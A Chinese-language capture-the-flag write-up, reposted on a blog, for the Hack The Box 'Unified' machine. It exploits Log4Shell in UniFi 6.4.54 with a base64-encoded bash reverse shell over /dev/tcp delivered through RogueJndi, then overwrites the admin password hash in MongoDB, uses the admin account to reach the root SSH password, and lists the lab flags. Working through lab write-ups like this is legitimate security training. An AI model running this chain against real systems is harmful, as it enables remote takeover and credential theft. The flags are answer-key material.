HTB:Unified[WriteUP]

目录

连接至HTB服务器并启动靶机

1.Which are the first four open ports?

2.What is the title of the software that is running running on port 8443?

3.What is the version of the software that is running?

4.What is the CVE for the identified vulnerability?

5.What protocol does JNDI leverage in the injection?

6.What tool do we use to intercept the traffic, indicating the attack was successful?

7.What port do we need to inspect intercepted traffic for?

8.What port is the MongoDB service running on?

USER_FLAG:6ced1a6a89e666c0620cdb10262ba127

9.What is the default database name for UniFi applications?

10.What is the function we use to enumerate users within the database in MongoDB?

11.What is the function we use to update users within the database in MongoDB?

12.What is the password for the root user?

ROOT_FLAG:e50bc93c75b634e4b272d2f771c33681


连接至HTB服务器并启动靶机

靶机IP:10.129.55.252

分配IP:10.10.16.48


1.Which are the first four open ports?

使用nmap对靶机开放端口进行扫描:

nmap -Pn {TARGET_IP}

可见开放端口为:22,6789,8080,8443


2.What is the title of the software that is running running on port 8443?

使用nmap对靶机的8443端口进行脚本扫描:

nmap -sC -p 8443 -Pn {TARGET_IP}

通过扫描结果可以看到:http-title: UniFi Network


3.What is the version of the software that is running?

直接使用浏览器访问靶机:http://{TARGET_IP}:8443

可以看到UniFi的软件版本为:6.4.54


4.What is the CVE for the identified vulnerability?

我们在cve.mitre.org平台,对UniFi进行相关搜索:

平台地址:https://cve.mitre.org/

可以看到CVE-2021-44530可以影响到UniFi 6.5.53及以前的版本:

答案中填写描述中的Log4J漏洞代号:CVE-2021-44228


5.What protocol does JNDI leverage in the injection?

JNDI 在注入中利用两个协议,分别是:

LDAP 协议:

(轻量级目录访问协议,可构造恶意数据让应用连接攻击者控制的服务器执行远程代码)

RMI 协议:

(远程方法调用协议,攻击者创建恶意服务器注册远程对象让应用获取执行恶意代码)


6.What tool do we use to intercept the traffic, indicating the attack was successful?

在登录界面勾选Remember me,输入账号密码后点击SIGN IN

启动Yakit抓取登录流量并发送,本地端开启tcpdump抓取本地流量:


7.What port do we need to inspect intercepted traffic for?

另起一终端,使用tcpdump抓取本地389端口流量(LDAP默认端口)

tcpdump -i tun0 port 389

在Yakit端点击提交数据,tcpdump抓取流量成功,证明漏洞存在:


8.What port is the MongoDB service running on?

接下来手搓一个反弹shell,先制作base64编码过的payload:

echo 'bash -i >&/dev/tcp/{NATIVE_IP}/{NATIVE_PORT} 0>&1' | base64

接下来使用RogueJndi-1.1.jar用于制作JNDI注入木马:

工具安装:
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
java -jar RogueJndi-1.1.jar --command "bash -c {echo,{YOUR_BASE64_STRING}}|{base64,-d}|{bash,-i}" --hostname "{NATIVE_IP}"

接下来再使用nc开启端口持续监听反弹shell:

注:刚开始我弹shell一直不成功,如果你也有同样的问题,检查--command后代码的空格

nc -lvnp {NATIVE_PORT}

连接反弹shell后,重定向至bash并获得交互:

script /dev/null -c bash

接着使用find命令查找一下user用户flag:

find / -name 'user.txt' 2>/dev/null

USER_FLAG:6ced1a6a89e666c0620cdb10262ba127

使用ps命令查找mongo进程:

可以看到该数据库正在运行,并且占用端口:27117


9.What is the default database name for UniFi applications?

题目问的是:UniFi应用程序的默认数据库名称,我这里直接扔给秘塔AI:ace


10.What is the function we use to enumerate users within the database in MongoDB?

连接到mongo数据库,利用db.admin.find()函数列举出所有用户:

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

这里就拿到了administrator用户的密码哈希值:


11.What is the function we use to update users within the database in MongoDB?

使用hashid查看一下哈希类型:

SHA-512这种类型的哈希值是不太可能爆破的出来的

使用mkpasswd创建一个SHA-512类型的密码:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# mkpasswd -m sha-512 123456    
$6$KDE3zv2Zi2Tc3BXD$jT/jQlJ/fjQsdW.qSYnd09UhaqeVoOhqe2SPDet3TD/DoWLEHSFT.7KlI/yg3GG21dqPSi4j7W5wLFYH9Lx4Z/

接下来通过前面获取到的_id,对密码进行修改:

"_id" : ObjectId("61ce278f46e0fb0012d47ee4")

通过db.admin.update()函数,将administrator用户的密码修改成123456:

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$KDE3zv2Zi2Tc3BXD$jT/jQlJ/fjQsdW.qSYnd09UhaqeVoOhqe2SPDet3TD/DoWLEHSFT.7KlI/yg3GG21dqPSi4j7W5wLFYH9Lx4Z/"}})'


12.What is the password for the root user?

重新回到浏览器登录界面,输入账户:administrator,密码:123456进行登录:

进入Web管理页面后,点击左下角的SETTINGS:

在SETTINGS二级目录site往下滑,找到root用户SSH登录口令:

root用户密码:NotACrackablePassword4U2022

尝试使用该密码进行SSH登录:

ssh root@{TARGET_IP}

使用find、cat命令查找并查看root.txt文件:

find / -name 'root.txt' 2>/dev/null
cat /root/root.txt

ROOT_FLAG:e50bc93c75b634e4b272d2f771c33681

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/55286.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据集-目标检测系列-豹子 猎豹 检测数据集 leopard>> DataBall

数据集-目标检测系列-豹子 猎豹 检测数据集 leopard>> DataBall 数据集-目标检测系列-豹子 猎豹 检测数据集 leopard 数据量:5k 想要进一步了解,请联系。 DataBall 助力快速掌握数据集的信息和使用方式,会员享有 百种数据集&#x…

Unity2017在安卓下获取GPS位置时闪退的解决办法

在Unity使用低功耗蓝牙通信(BLE)需要用到设备的位置信息。但是调用Input.location.Start()程序会闪退。 解决办法:调用原生安卓接口。 参见《Unity2021通过aar调用Android方法》编写一个aar插件gpsplugin,在插件中提供获取GPS位…

微软SCCM:企业级系统管理的核心工具

目录 摘要 1. 引言 2. SCCM的基本概念 2.1 什么是SCCM? 2.2 SCCM的历史 3. SCCM的架构 3.1 中心服务器 3.2 数据库 3.3 管理点(Management Point) 3.4 分发点(Distribution Point) 3.5 客户端代理 3.6 报告服务 4. SCCM的核心功能 4.1 软件部署与管理 4.2 操…

docker管理

拉取容器镜像 docker pull 镜像名:镜像版本查看镜像 docker images查看容器列表 # 查看正在运行的容器 docker ps # 查看全部的容器(包括停止的容器) docker ps -a进入容器 docker exec -it 容器id /bin/bash停止容器 docker stop 容器id运行容器 docker start 容器id删除…

回溯算法框架解决排列组合及子集问题

216. 组合总和 III39. 组合总和40. 组合总和 II46. 全排列47. 全排列 II77. 组合 78. 子集 90. 子集 II 以上是力扣设计相关问题的题目。排列组合还是子集问题无非就是从序列 nums 中以给定规则取若干元素,主要有以下几类: 元素无重不可复选&#xff0…

贝锐蒲公英工业物联方案:助力美的智慧楼宇全球布局

智慧楼宇正日益成为现代城市发展的基石,作为该领域的先锋,美的楼宇科技通过其创新的iBUILDING数字化平台和低碳技术,引领着智慧空间的可持续发展,并持续推动建筑及相关行业的数字化转型。 美的楼宇科技的解决方案融合了先进的楼宇…

五子棋双人对战项目(5)——对战模块

目录 一、需求分析 二、约定前后端交互接口 三、实现游戏房间页面(前端代码) game_room.html game_room.css srcipt.js 四、实现后端代码 GameAPI Room Mapper 五、线程安全问题 一、需求分析 在对局中,玩家需要知道实时对局情况&…

Pandas数据类型

Pandas数据类型 学习目标 知道Pandas中都有哪些数据类型和数据结构,并知道数据类型和数据结构之间的关系知道时间日期类型作为索引的数据集可以基于时间范围来选取子集知道时间差类型索引的数据集可以基于时间差范围来选取子集 1 一般类型 Pandas数据类型Python…

商家营销工具架构升级总结

今年以来,商家营销工具业务需求井喷,需求数量多且耗时都比较长,技术侧面临很大的压力。因此这篇文章主要讨论营销工具前端要如何应对这样大规模的业务需求。 问题拆解 我们核心面对的问题主要如下: 1. 人力有限 我们除了要支撑存量…

redis 5的安装及启动(window)

最近看大模型的时候发现入手redis的同学没有练手的,而且大部分redis的文章要钱才能看,在这里我把路径和环境配置,启动给大家说一下 下载 redis5的获取链接在下面(为什么是redis5,因为上个模型用的就是redis5&#xff…

基于单片机的两轮直立平衡车的设计

本设计基于单片机设计的两轮自平衡小车,其中机械部分包括车体、车轮、直流电机、锂电池等部件。控制电路板采用STC12C5A60S2作为主控制器,采用6轴姿态传感器MPU6050测量小车倾角,采用TB6612FNG芯片驱动电机。通过模块化编程完成了平衡车系统软…

【Ansys Fluent】计算数据导入tecplot傅里叶分析

来自:fluent计算数据导入tecplot进行傅里叶分析 首先在fluent计算结果中找到监测点压力曲线变化的输出文件,本例是pr0104.out,将文件后缀改为pr0104.txt,并用文本文档打开,将前几行的标题删除,只保留数据&…

Hive数仓操作(十)

一、Hive 分页查询 在大数据处理中,分页查询是非常常见的需求。Hive 提供了 LIMIT 和 OFFSET 关键字来方便地进行分页操作。本文将详细介绍它们的用法。 1. 基本用法 LIMIT:用于限制查询结果的行数。OFFSET:用于指定从哪一行开始检索。 2…

《动手学深度学习》笔记2.5——神经网络从基础→使用GPU (CUDA-单卡-多卡-张量操作)

目录 0. 前言 原书正文 1. 计算设备 (CPU和GPU) 补充:torch版本cuda报错的解决方案 2. 张量与GPU 3. 存储在GPU上 4. 复制(多卡操作) 5. 旁注 (CPU和GPU之间挪数据) 6. 神经网络与GPU 小结 0. 前言 课程全部代码(pytorc…

ISO 21434车辆网络安全风险评估的全面流程解析

ISO 21434风险评估流程是一个系统性的过程,旨在帮助汽车制造商识别和评估与车辆网络安全相关的潜在风险,并制定相应的风险管理策略。以下是ISO 21434风险评估流程的清晰归纳和分点表示: 一、确定风险评估范围 范围界定:明确需要…

运动耳机哪个牌子的好?5大质量不凡的运动耳机测评力荐!

在快节奏的生活中,无论是晨跑、健身还是户外探险,音乐都成了许多人不可或缺的陪伴。运动耳机,作为一种专为运动场景设计的音频设备,旨在提供高质量音频体验的同时,保证佩戴的舒适度和运动的安全性。 (上图为…

Spring之生成Bean

Bean的生命周期:实例化->属性填充->初始化->销毁 核心入口方法:finishBeanFactoryInitialization-->preInstantiateSingletons DefaultListableBeanFactory#preInstantiateSingletons用于实例化非懒加载的bean。 1.preInstantiateSinglet…

【JavaEE】——多线程常用类

阿华代码,不是逆风,就是我疯 你们的点赞收藏是我前进最大的动力!! 希望本文内容能够帮助到你!! 目录 引入: 一:Callable和FutureTask类 1:对比Runnable 2&#xff1a…

IT新秀系列:Go语言的兴起

Go语言(Golang)由谷歌于2007年发起,并于2009年正式开源。它的诞生背景可以追溯到互联网技术的高速发展时期。那时,软件开发面临着多核计算、大规模并发处理、部署和维护效率低下等挑战。作为一种新型的编程语言,Go主要…

秒懂Linux之线程

目录 线程概念 线程理解 地址空间(页表,内存,虚拟地址) 线程的控制 铺垫 线程创建 ​编辑 线程等待 线程异常 线程终止 代码 线程优点 线程缺点 线程特点 线程概念 线程是进程内部的一个执行分支,线程是C…